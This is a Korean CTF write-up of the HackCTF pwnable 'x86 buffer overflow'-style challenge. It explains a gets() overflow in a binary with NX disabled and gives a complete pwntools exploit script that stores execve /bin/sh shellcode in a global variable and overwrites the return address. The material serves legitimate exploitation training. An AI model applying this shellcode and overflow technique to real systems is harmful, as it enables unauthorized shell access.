문제 풀이 환경 : ubuntu 20.04 |
150점으로 넘어갔다. 갑자기 생각보다 어려워져서(?) 깜짝 놀랐다ㅋㅋㅋ;;
주어진 파일은 문제 바이너리 파일 뿐이다. IDA로 까보자.
Analysis
main 함수
볼 게 main 밖에 없다. main을 살펴보자.
gets 함수에서 대놓고 bof가 일어난다. 왜냐하면 gets 함수는 문자열을 입력받지만 문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않기 때문!
아 참고로 name은 전역 변수이다.
How to exploit
보호기법을 확인해보면 NX bit가 설정되어 있지 않다. 이 뜻은 쉘코드를 실행시키라는 의미다.
처음에 바보같이 ret에 바로 쉘코드를 넣어주었다. 진짜 바보같다. 상식적이지 않은 행동이다.
전역변수 name에 쉘코드를 넣고 그 주소를 RET로 주면 된다.
payload = dummy + SFP(dummy) + 전역변수 name 주소(RET) |
Let's exploit
from pwn import *
#p = process('./prob1')
p = remote('ctf.j0n9hyun.xyz', 3003)
e = ELF('./prob1')
name_addr = 0x0804A060
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
pay = ''
pay += 'B'*24 # dummy+SFP
pay += p32(name_addr) # ret
pause()
p.sendlineafter(': ', shellcode)
p.sendlineafter(': ', pay)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] x64 Buffer Overflow 풀이 (64bit, BOF) (0) | 2021.03.05 |
---|---|
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (32bit, ROP) (0) | 2021.03.05 |
[HackCTF : Pwnable] Basic_FSB 풀이 (32bit, FSB) (0) | 2021.03.04 |
[HackCTF : Pwnable] ROP 풀이 (일단 익스코드만) (0) | 2020.09.26 |
[HackCTF : Pwnable] Basic_BOF #2 풀이 (0) | 2020.09.22 |